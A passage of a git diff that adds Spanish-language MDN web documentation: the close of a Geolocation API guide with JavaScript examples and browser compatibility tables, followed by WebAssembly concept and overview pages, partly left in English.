+<p><span id="result_box" lang="es"><span class="hps">Si el objeto existe</span><span>,</span> <span class="hps">los servicios de geolocalización</span> <span class="hps">están disponibles.</span> <span class="hps">Se puede</span> <span class="hps">comprobar la presencia</span> <span class="hps">de la geolocalización</span> <span class="hps">de esta manera:</span></span></p>
+
+<pre class="brush: js">if ("geolocation" in navigator) {
+  /* la geolocalización está disponible */
+} else {
+  /* la geolocalización NO está disponible */
+}
+</pre>
+
+<div class="blockIndicator note">
+<p>Nota: En Firefox 24 y versiones anteriores, <code>"geolocation" in navigator</code> siempre retornaba <code>true</code> incluso si la API se encontraba deshabilitada. Esto ha sido corregido en <a href="https://www.fxsitecompat.com/en-CA/versions/25/">Firefox 25</a> para cumplir con la especificación.  ({{bug(884921)}}).</p>
+</div>
+
+<h3 id="Obtención_de_la_ubicación_actual">Obtención de la ubicación actual</h3>
+
+<p><span lang="es"><span class="hps">Para</span> <span class="hps">obtener la ubicación</span> <span class="hps">actual del usuario</span><span>, puede llamar a</span><span class="atn hps">l método </span></span>{{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}}<span lang="es"><span class="hps">.</span></span></p>
+
+<p><span lang="es"><span class="hps">Esto inicia</span> <span class="hps">una solicitud asíncrona</span> <span class="hps">para detectar</span> <span class="hps">la posición del usuario</span><span>, y</span> <span class="hps">consulta el</span> <span class="hps">hardware</span> <span class="hps">de posicionamiento para</span> <span class="hps">obtener</span><span class="hps"> información actualizada.</span> </span><span id="result_box" lang="es"><span class="hps">Cuando</span> <span class="hps">se determina la posición</span><span>, se ejecuta la función</span> <span class="hps">de callback</span><span class="hps">.</span></span><span lang="es"> <span class="hps">Si lo desea,</span> <span class="hps">puede proporcionar otra función de callback</span><span class="hps"> que se</span> <span class="hps">ejecuta si</span> <span class="hps">se produce un error</span><span>.</span> <span class="hps">Un tercer</span> <span class="hps">parámetro</span> <span class="hps">opcional</span><span>, es un</span> <span class="hps">objeto de opciones</span> <span class="hps">donde se puede establecer</span> <span class="hps">la edad máxima de</span> <span class="hps">la</span> <span class="hps">posición devuelta</span><span>,</span> <span class="hps">el tiempo de espera</span> <span class="hps">para una solicitud</span> <span class="hps">y si se requiere</span> <span class="hps">una alta precisión</span> <span class="hps">para la posición.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Por defecto, {{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}} intenta responder tan rápido como sea posible con un resultado de baja precisión. Es útil cuando se necesita una respuesta rápida sin importar su exactitud. A los dispositivos con GPS, por ejemplo, les puede tomar más de un minuto obtener una posición, por lo que datos menos precisos (localización por IP o wifi) pueden ser devueltos por {{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  haz_algo(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>En el ejemplo anterior la función do_something() será ejecutada una vez que se obtiene la posición.</p>
+
+<h3 id="Rastreando_la_posición_actual">Rastreando la posición actual</h3>
+
+<p>Si los datos de ubicación cambian (si el dispositivo se mueve o información geográfica más precisa es recibida), puede definir una función de callback que se ejecuta al cambiar la posición. Esto se logra a través de la función {{domxref("window.navigator.geolocation.watchPosition()","watchPosition()")}}, que recibe los mismos parámetros que {{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}}. La función de callback es ejecutada varias veces, permitiendo al navegador actualizar la ubicación cada vez que cambia, o proporcionar una posición con mayor exactitud utilizando distintas técnicas de geolocalización. La función de callback de error, la cual es opcional como en {{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}}, es llamada solo una vez, cuando nunca serán devueltos resultados correctos.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Es posible usar la función {{domxref("window.navigator.geolocation.watchPosition()","watchPosition()")}} sin haber ejecutado antes {{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>El método {{domxref("window.navigator.geolocation.watchPosition()","watchPosition()")}} devuelve un número que se utiliza para identificar el rastreador de posición solicitado; este valor se utiliza junto con el método {{domxref("window.navigator.geolocation.clearWatch()","clearWatch()")}} para dejar de rastrear la posición del usuario.</p>
+
+<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
+</pre>
+
+<h3 id="Afinando_la_respuesta">Afinando la respuesta</h3>
+
+<p>Ambos métodos,  {{domxref("window.navigator.geolocation.getCurrentPosition()","getCurrentPosition()")}} y {{domxref("window.navigator.geolocation.watchPosition()","watchPosition()")}} aceptan una función de callback en caso de éxito, una función callback opcional si ocurre algún error, y un objeto <code>PositionOptions</code> también opcional.</p>
+
+<p>{{page("/en-US/docs/DOM/window.navigator.geolocation.getCurrentPosition","PositionOptions")}}</p>
+
+<p>Una llamada a {{domxref("window.navigator.geolocation.watchPosition()","watchPosition")}} luce como el siguiente ejemplo:</p>
+
+<pre class="brush: js">function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
+
+<p><a id="fck_paste_padding">Demo de watchPosition: </a><a class="external" href="http://www.thedotproduct.org/experiments/geo/">http://www.thedotproduct.org/experiments/geo/</a><br>
+ <a id="fck_paste_padding"></a></p>
+
+<h2 id="Describiendo_una_posición">Describiendo una posición</h2>
+
+<p>La ubicación del usuario es descrita con un objeto <code>Position</code> referenciando a un objeto <code>Coordinates</code>.</p>
+
+<p>{{page("/en-US/docs/DOM/window.navigator.geolocation.getCurrentPosition","Position")}}</p>
+
+<p>{{page("/en-US/docs/DOM/window.navigator.geolocation.getCurrentPosition","Coordinates")}}</p>
+
+<h2 id="Manejo_de_errores">Manejo de errores</h2>
+
+<p>La función de callback de error, si existe cuando se llama a <code>getCurrentPosition()</code> o <code>watchPosition()</code>, recibe un objeto  <code>PositionError</code> como su primer parámetro.</p>
+
+<pre class="brush: js">function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+</pre>
+
+<p>{{page("/en-US/docs/DOM/window.navigator.geolocation.getCurrentPosition","PositionError")}}</p>
+
+<h2 id="Ejemplo_de_geolocalización">Ejemplo de geolocalización</h2>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  padding: 20px;
+  background-color:#ffffc9
+}
+
+p { margin : 0; }
+</pre>
+</div>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html;">&lt;p&gt;&lt;button onclick="geoFindMe()"&gt;Show my location&lt;/button&gt;&lt;/p&gt;
+&lt;div id="out"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<pre class="brush: js;">function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "&lt;p&gt;Geolocation is not supported by your browser&lt;/p&gt;";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '&lt;p&gt;Latitude is ' + latitude + '° &lt;br&gt;Longitude is ' + longitude + '°&lt;/p&gt;';
+
+    var img = new Image();
+    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&amp;zoom=13&amp;size=300x300&amp;sensor=false";
+
+    output.appendChild(img);
+  };
+
+  function error() {
+    output.innerHTML = "Unable to retrieve your location";
+  };
+
+  output.innerHTML = "&lt;p&gt;Locating…&lt;/p&gt;";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}</p>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_sobre_Gecko">Notas sobre Gecko</h3>
+
+<p>Firefox incluye soporte para localizar basándose en información de redes inalámbricas, usando Google Location Services. En la transacción entre Firefox y Google, los datos son compartidos incluyendo información del punto de acceso inalámbrico, un token de acceso (similar a una cookie con duración de dos semanas), y la dirección IP del usuario. Para más información, por favor consulte la <a href="http://www.mozilla.com/en-US/legal/privacy/" title="http://www.mozilla.com/en-US/legal/privacy/">Política de Privacidad de Mozilla</a><span class="external"> y la</span> <a href="http://www.google.com/privacy-lsf.html" title="http://www.google.com/privacy-lsf.html">Política de Privacidad de Google</a>, dichos documentos cubren como estos datos pueden ser utilizados.</p>
+
+<p>En Firefox 3.6 (Gecko 1.9.2) fue añadido soporte para utilizar el servicio <a href="http://catb.org/gpsd/" title="http://catb.org/gpsd/">GPSD</a> para geolocalización en sistemas Linux.</p>
+
+<h2 id="Consultar_también">Consultar también</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.geolocation","navigator.geolocation")}}</li>
+ <li><a href="http://www.w3.org/TR/geolocation-API/" title="http://www.w3.org/TR/geolocation-API/">API de Geolocalización en w3.org</a></li>
+ <li><a href="/en-US/demos/tag/tech:geolocation" title="/en-US/demos/tag/tech:geolocation">Demos que utilizan la API de Geolocalización</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/webassembly/concepts/index.html b/files/es/webassembly/concepts/index.html
new file mode 100644
index 0000000000..300394ddde
--- /dev/null
+++ b/files/es/webassembly/concepts/index.html
@@ -0,0 +1,152 @@
+---
+title: WebAssembly Concepts
+slug: WebAssembly/Concepts
+translation_of: WebAssembly/Concepts
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">En este artículo se explica los conceptos detrás de cómo funciona WebAssembly, sus objetivos, los problemas que resuelve, y como se ejecuta dentro del motor de renderizado de un navegador.</p>
+
+<h2 id="¿Qué_es_WebAssembly">¿Qué es WebAssembly?</h2>
+
+<p>WebAssembly es un nuevo tipo de código que puede ser ejecutado en navegadores modernos, y provee nuevas funcionalidades y mejoras en rendimiento. No está pensado para ser ser escrito a mano, si no que está diseñado par ser un objeto final de compilación para lenguajes de bajo nivel como C, C++, Rust, etc.</p>
+
+<p>Esto tiene enormes implicaciones para la plataforma web -- presenta un medio para ejecutar código escrito en múltiples lenguajes en la web, haciendo que una aplicación web, se ejecute casi a la misma velocidad de código nativo, algo que previamente se podía hacer. </p>
+
+<p>Lo que es más, no es necesario conocer como se crea código WebAssembly para usar sus ventajas. Los módulos de WebAssembly pueden importase en una aplicación web (o Node.js), exponiendo funciones de WebAssembly para ser usadas mediante Javascript. Los entornos de Javascript pueden usar WebAssembly para obtener grandes mejoras de rendimiento y nuevas funcionalidades y ser fácilmente disponibles por los desarrolladores Web.  </p>
+
+<h2 id="Objetivos_de_WebAssembly">Objetivos de WebAssembly</h2>
+
+<p>WebAssembly ha sido creado por como un estándar abierto dentro de <a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a> con los siguientes objetivos:</p>
+
+<ul>
+ <li>Ser rápido, eficiente y portable — el código WebAssembly puede ejecutarse se puede ejecutar a una velocidad casi nativa en diferentes plataformas aprovechando las <a href="http://webassembly.org/docs/portability/#assumptions-for-efficient-execution">capacidades comunes del hardware</a>.</li>
+ <li>Ser legible y depurable — WebAssembly es un lenguaje ensamblador de bajo nivel, pero tiene un formato de texto que puede ser entendido por las personas (la especificación aún se está terminando) lo cual permite al código ser escrito, visualizado y depurado a mano.</li>
+ <li>Mantenerse seguro — WebAssembly se especifica para ser ejecutado de manera segura en un entorno de ejecución de espacio aislado (sandbox).Como otros códigos web, reforzará el propio origen del navegador así como sus políticas de seguridad.</li>
+ <li>No quebrantar a la red — WebAssembly está diseñado de tal forma que se lleve bien con otras tecnologías web y mantenga compatibilidad con versiones anteriores.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: WebAssembly tendrá también usos fuera de la red y de los ambientes JavaScript (vea <a href="http://webassembly.org/docs/non-web/">Incrustaciones no-web</a>).</p>
+</div>
+
+<h2 id="¿Cómo_se_inserta_WebAssembly_dentro_de_la_plataforma_web">¿Cómo se inserta WebAssembly dentro de la plataforma web?</h2>
+
+<p>La plataforma web puede pensar como constituida de dos partes:</p>
+
+<ul>
+ <li>Una máquina virtual (VM por sus siglas en inglés) que ejecuta el código de la aplicación Web p.e. el código JavaScript que potencia sus aplicaciones.</li>
+ <li>Un conjunto de interfaces Web (<a href="/en-US/docs/Web/API">Web APIs</a>) que la aplicación Web puede llamar para controlar la funcionalidad del navegador/dispositivo web y hace que las cosas sucedan (<a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/en-US/docs/Web/API/CSS_Object_Model">CSSOM</a>, <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, etc.).</li>
+</ul>
+
+<p>Históricamente, la máquina virtual ha sido capaz de cargar solamente JavaScript. Esto nos ha funcionado bien debido a que JavaScript es suficientemente capaz para resolver la mayor parte de los problemas que las personas tienen en la Web hoy día. Sin embargo hemos llegado a tener problemas de rendimiento cuando se trata de usar JavaScript para casos de uso más intensos como juegos 3D, Realidad Virtual y Aumentada, visión por computadora, edición de vídeo/imágenes y algunos otros dominios de cosas que demandan rendimiento como el de código nativo (vea <a href="http://webassembly.org/docs/use-cases/">Casos de Uso WebAssembly</a> para más ideas).</p>
+
+<p>Adicionalmente, el costo de descargar, analizar gramaticalmente (parsing) y compilar aplicaciones JavaScript muy grandes resulta prohibitivo. Plataformas en móviles (celulares y otros) y otras de recursos limitados (tabletas, etc.) pueden amplificar más estos cuellos de botella del desempeño.</p>
+
+<p>WebAssembly es un lenguaje distinto a JavaScript, aunque no se pretende sea un reemplazo. En lugar de ello, se diseña para complementar y trabajar en conjunto con JavaScript, permitiendo a los desarrolladores web tener una ventaja sobre las fortalezas de ambos lenguajes:</p>
+
+<ul>
+ <li>JavaScript es un lenguaje de alto nivel, flexible y suficientemente expresivo para desarrollar aplicaciones web. Tiene muchas ventajas - es tipado dinámicamente, no necesita el paso de compilarlo, y tiene un gran ecosistema que lo provee de entornos, librerías y otras herramientas.</li>
+ <li>WebAssembly es un lenguaje de bajo nivel similar a ensamblador, con un  binario de un tamaño compacto que se ejecuta con una rendimiento casi nativo, y provee a lenguajes con esquemas de memoria de bajo nivel como C++ y Rust, con un objeto de compilación que también pueden ejecutar en la web. (Notar que WebAssembly también tiene el objetivo de soportar a lenguajes de alto nivel con recogedor de basura (garbage-collector) en el futuro).</li>
+</ul>
+
+<p>Con la llegada de WebAssembly en los navegadores, la máquina virtual que se mencionó anteriormente, cargará y ejecutará dos tipos de código - JavaScript y WebAssembly.</p>
+
+<p>Los distintos tipos de código pueden llamarse uno al otro según necesiten.  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript API</a>  envuelve código WebAssembly exportado con funciones JavaScript, que pueden ser llamadas normalmente, y WebAssembly puede importar y llamar síncronamente funciones JavaScript. De hecho la unidad básica de código en WebAssembly se llama módulo y los módulos en WebAssembly son simétricos de muchas maneras a los módulos de ES2015.</p>
+
+<h3 id="Conceptos_clave_en_WebAssembly">Conceptos clave en WebAssembly</h3>
+
+<p>Hay varios conceptos claves que son necesarios para entender cómo se ejecuta WebAssembly en un navegador. Todos estos conceptos están reflejados uno a uno en <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript API</a>.</p>
+
+<ul>
+ <li><strong>Módulo</strong>: Representa un binario de WebAssembly que ha sido compilado por el navegador en un ejecutable de código máquina. Un módulo no tiene estado, y es solo eso, como un <a href="/en-US/docs/Web/API/Blob">Blob</a>, puede ser explícitamente compartido entre ventanas y workers (por medio de <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>). Un módulo declara 'imports' y 'exports' igual que un módulo ES2015module.</li>
+ <li><strong>Memoria</strong>: Un conjunto de tamaño variable que contiene una serie lineal y continua de bytes, que puede ser leído o escrito por las instrucciones de memoria de bajo nivel de WebAssembly.</li>
+ <li><strong>Tabla</strong>: Una lista tipada de tamaño variable que contiene referencias (por ejemplo a funciones) que no podrían ser guardadas como bytes en memoria (por razones de seguridad o portabilidad).</li>
+ <li><strong>Instancia</strong>: Un modulo junto con todos los estados que use durante la ejecución e incluyendo la memoria, tabla y un conjunto de valores importados. Una instancia es como un módulo ES2015 que ha sido cargado en un global particular con un conjunto particular de 'imports'. </li>
+</ul>
+
+<p>La API de JavaScript provee a los desarrolladores con la habilidad de crear módulos, memoria, tablas e instancias. Dada una instancia de WebAssembly, el código de JavaScript puede hacer llamadas síncronas a sus 'exports', que son expuestos, como funciones de JavaScript normal. Funciones de JavaScript arbitrarias pueden ser llamadas síncronamente también desde el código de WebAssembly, pasando dichas funciones de JavaScript como 'imports' a la instancia de WebAssembly. </p>
+
+<p>Dado que JavaScript tiene un control completo sobre como el código de WebAssembly es descargado, compilado y ejecutado, los desarrolladores de JavaScript pueden pensar sobre WebAssembly como simplemente una funcionalidad de JavaScript para generar funciones de alto rendimiento.</p>
+
+<p>En el futuro, los módulos de WebAssembly se podrán cargar igual que los módulos de <a href="https://github.com/WebAssembly/proposals/issues/12">ES2015</a> (usando <code>&lt;script type='module'&gt;</code>), implicando que JavaScript será capaz de ir a buscar, compilar e importar un módulo de WebAssembly tan fácilmente como un módulo de ES2015.</p>
+
+<h2 id="¿Cómo_usar_WebAssembly_en_mi_aplicación">¿Cómo usar WebAssembly en mi aplicación?</h2>
+
+<p>Previamente se describieron las primitivas que WebAssembly añade a la plataforma Web: un formato binario para el código y APIs para cargar y ejecutar este código binario. Ahora se describirá cómo usar estas primitivas en la práctica.</p>
+
+<p>El ecosistema de WebAssembly está en sus comienzos; sin duda más herramientas parecerán en un futuro. Ahora mismo hay cuatro puntos principales donde comenzar:</p>
+
+<ul>
+ <li>Portar una aplicación C/C++ con <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>.</li>
+ <li>Escribir o generar WebAssembly directamente a nivel de ensamblador.</li>
+ <li>Escribir una aplicación en Rust y generar su salida como WebAssembly.</li>
+ <li>Usar <a href="https://assemblyscript.org/">AssemblyScript</a> que se parece a TypeScript y se compila a un binario de WebAssembly.</li>
+</ul>
+
+<p>Detallemos más cada una de estas opciones:</p>
+
+<h3 id="Portando_desde_CC">Portando desde C/C++</h3>
+
+<p>Dos de las muchas opciones para crear código WASM son o un ensamblador WASM en línea, o <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>. Hay varias opciones para un ensamblador WASM en línea, como pueden ser:</p>
+
+<ul>
+ <li><a href="https://wasdk.github.io/WasmFiddle/">WasmFiddle</a></li>
+ <li><a href="https://anonyco.github.io/WasmFiddlePlusPlus/">WasmFiddle++</a></li>
+ <li><a href="https://mbebenita.github.io/WasmExplorer/">WasmExplorer</a></li>
+</ul>
+
+<p>Estos son puntos adecuados donde se puede empezar a plantearse desde dónde empezar, pero que pueden no tener algunas optimizaciones para Emscripten.</p>
+
+<p>La herramienta Emscripten está disponible para casi cualquier tipo de código C/C++ y compila en un módulo .wasm, además del código "pegamento" necesario en JavaScript, necesario para cargar y ejecutar el módulo, y un documento HTML donde se muestre el resultado del código.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14647/emscripten-diagram.png" style="display: block; height: 104px; margin: 0px auto; width: 764px;"></p>
+
+<p>Resumiendo, el proceso es el que sigue:</p>
+
+<ol>
+ <li>Emscripten primero compila C/C++  en clang+LLVM — un compilador de código abierto, de C/C++, que por ejemplo se distribuye como parte de XCode en OSX.</li>
+ <li>Emscripten transforma el resultado de la compilación de clang+LLVM en un binario .wasm.</li>
+ <li>Por sí mismo, WebAssembly no puede acceder directamente a el DOM; únicamente puede llamar a JavaScript, y pasarle datos enteros o de coma flotante como datos. Luego, para acceder a cualquier API Web, WebAssembly necesita llamar a JavaScript, que entonces hará lla llamada a la API Web. Emscripten por lo tanto crea el documento HTML y el código "pegamento" en JavaScritp necesario para conseguir esto.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: There are future plans to <a href="https://github.com/WebAssembly/gc/blob/master/README.md">allow WebAssembly to call Web APIs directly</a>.</p>
+</div>
+
+<p>The JavaScript glue code is not as simple as you might imagine. For a start, Emscripten implements popular C/C++ libraries like <a href="https://en.wikipedia.org/wiki/Simple_DirectMedia_Layer">SDL</a>, <a href="https://en.wikipedia.org/wiki/OpenGL">OpenGL</a>, <a href="https://en.wikipedia.org/wiki/OpenAL">OpenAL</a>, and parts of <a href="https://en.wikipedia.org/wiki/POSIX">POSIX</a>. These libraries are implemented in terms of Web APIs and thus each one requires some JavaScript glue code to connect WebAssembly to the underlying Web API.</p>
+
+<p>So part of the glue code is implementing the functionality of each respective library used by the C/C++ code. The glue code also contains the logic for calling the above-mentioned WebAssembly JavaScript APIs to fetch, load and run the .wasm file.</p>
+
+<p>The generated HTML document loads the JavaScript glue file and writes stdout to a {{htmlelement("textarea")}}. If the application uses OpenGL, the HTML also contains a {{htmlelement("canvas")}} element that is used as the rendering target. It’s very easy to modify the Emscripten output and turn it into whatever web app you require.</p>
+
+<p>You can find full documentation on Emscripten at <a href="https://emscripten.org">emscripten.org</a>, and a guide to implementing the toolchain and compiling your own C/C++ app across to wasm at <a href="https://developer.mozilla.org/en-US/docs/WebAssembly/C_to_wasm">Compiling from C/C++ to WebAssembly</a>.</p>
+
+<h3 id="Writing_WebAssembly_directly">Writing WebAssembly directly</h3>
+
+<p>Do you want to build your own compiler, or your own tools, or make a JavaScript library that generates WebAssembly at runtime?</p>
+
+<p>In the same fashion as physical assembly languages, the WebAssembly binary format has a text representation — the two have a 1:1 correspondence. You can write or generate this format by hand and then convert it into the binary format with any of several <a href="https://webassembly.org/getting-started/advanced-tools/">WebAssemby text-to-binary tools</a>.</p>
+
+<p>For a simple guide on how to do this, see our <a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Converting WebAssembly text format to wasm</a> article.</p>
+
+<h3 id="Writing_Rust_Targeting_WebAssembly">Writing Rust Targeting WebAssembly</h3>
+
+<p>It is also possible to write Rust code and compile over to WebAssembly, thanks to the tireless work of the Rust WebAssembly Working Group. You can get started with installing the necessary toolchain, compiling a sample Rust program to a WebAssembly npm package, and using that in a sample web app, over at our <a href="/en-US/docs/WebAssembly/Rust_to_wasm">Compiling from Rust to WebAssembly</a> article.</p>
+
+<h3 id="Using_AssemblyScript">Using AssemblyScript</h3>
+
+<p>For web developers who want to try WebAssembly without needing to learn the details of C or Rust, AssemblyScript will be the best option. It generates a small bundle and it's performance is slightly slower compared to C or Rust. You can check its documentation on <a href="https://assemblyscript.org/">https://assemblyscript.org/</a>.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has given you an explanation of what WebAssembly is, why it is so useful, how it fits into the web, and how you can make use of it.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li>
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Loading_and_running">Loading and running WebAssembly code</a> — find out how to load your own WebAssembly module into a web page.</li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a> — find out how to use the other major features of the WebAssembly JavaScript API.</li>
+</ul>
diff --git a/files/es/webassembly/index.html b/files/es/webassembly/index.html
new file mode 100644
index 0000000000..2aaf10411f
--- /dev/null
+++ b/files/es/webassembly/index.html
@@ -0,0 +1,119 @@
+---
+title: WebAssembly
+slug: WebAssembly
+tags:
+  - Aterrizaje
+  - WebAssembly
+  - wasm
+translation_of: WebAssembly
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary" dir="ltr" id="docs-internal-guid-22bb55aa-d69e-e8ef-cbc6-aafea272f684">WebAssembly es un nuevo tipo de código que puede ser ejecutado en navegadores modernos — es un lenguaje de bajo nivel, similar al lenguaje ensamblador, con un formato binario compacto que se ejecuta con rendimiento casi nativo y provee un objetivo de compilación para lenguajes como C/C++ y Rust que les permite correr en la web. También está diseñado para correr a la par de JavaScript, permitiendo que ambos trabajen juntos.</p>
+
+<h2 dir="ltr" id="En_pocas_palabras">En pocas palabras</h2>
+
+<p dir="ltr">WebAssembly tiene grandes implicaciones para la plataforma web — provee una forma de correr código escrito en múltiples lenguajes en la web a una velocidad casi nativa, con aplicaciones cliente corriendo en la web que anteriormente no podrían haberlo hecho.</p>
+
+<p dir="ltr">WebAssembly esta diseñado para complementar y correr a la par de JavaScript — usando las APIs WebAssembly de JavaScript, puedes cargar módulos de WebAssembly en una aplicación JavaScript y compartir funcionalidad entre ambos. Esto te permite aprovechar el rendimiento y poder de WebAssembly y la expresividad y flexibilidad de JavaScript en las mismas aplicaciones, incluso si no sabes cómo escribir código WebAssembly.</p>
+
+<p dir="ltr">Y lo mejor es que está siendo desarrollado como un estándar web a través del <a href="https://www.w3.org/wasm/">grupo de trabajo de WebAssembly del W3C</a> y su <a href="https://www.w3.org/community/webassembly/">grupo comunitario</a> con las participación activa de todos los principales fabricantes de navegadores.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 dir="ltr" id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAssembly/Concepts">Conceptos de WebAssembly</a></dt>
+ <dd>Empieza leyendo los conceptos de alto nivel detrás de WebAssembly — qué es, por qué es tan útil, cómo encaja en la plataforma web (y más allá), y cómo usarlo.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/C_to_wasm">Compilar un nuevo módulo de C/C++ a WebAssembly</a></dt>
+ <dd>Al escribir código en C/C++, puedes compilarlo a .wasm usando una herramienta como <a href="/en-US/docs/Mozilla/Projects/Emscripten/">Emscripten</a>. Veamos cómo funciona.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/existing_C_to_wasm">Compilar un módulo existente de C a WebAssembly</a></dt>
+ <dd>Uno de los principales casos de uso para WebAssembly es tomar las librerías existentes del ecosistema de C y permitir que los desarrolladores los usen en la web.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/rust_to_wasm">Compilar de Rust a WebAssembly</a></dt>
+ <dd>Si has escrito algo en Rust, ¡puedes compilarlo a WebAssembly! Este tutorial te enseña todo lo que necesitas saber para compilar un proyecto de Rust a wasm y usarlo en una aplicación web existente.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Loading_and_running">Cargar y ejecutar código WebAssembly</a></dt>
+ <dd>Una vez que tengas un .wasm, este artículo cubre cómo recuperarlo, compilarlo e instanciarlo, combinando la API de <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/WebAssembly">WebAssembly de JavaScript</a> con las APIs <a href="/es/docs/Web/API/Fetch_API">Fetch</a> o <a href="/es/docs/Web/API/XMLHttpRequest">XHR</a>.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Usar la API WebAssembly de JavaScript</a></dt>
+ <dd>Una vez cargado el módulo .wasm, querrás usarlo. En este artículo te mostramos cómo usar WebAssembly mediante la API WebAssembly de JavaScript.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Exported_functions">Funciones exportadas de WebAssembly</a></dt>
+ <dd>Las funciones exportadas de WebAssembly son el reflejo en JavaScript de las funciones de WebAssembly que te permiten llamar código WebAssembly desde JavaScript. Este artículo las describe.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Understanding_the_text_format">Entendiendo el formato de texto WebAssembly</a></dt>
+ <dd>Este artículo explica el formato de texto wasm. Esta es la representación textual de bajo nivel de un módulo .wasm, mostrada en las herramientas de desarrollador del navegador al depurar.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Convertir el formato de texto WebAssembly a wasm</a></dt>
+ <dd>Este artículo provee una guía para convertir un módulo de WebAssembly escrito en su formato de texto a un binario .wasm.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 dir="ltr" id="Referencia_de_la_API">Referencia de la API</h2>
+
+<dl>
+ <dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt>
+ <dd>Este objeto sirve como espacio de nombres para toda funcionalidad relacionada a WebAssembly.</dd>
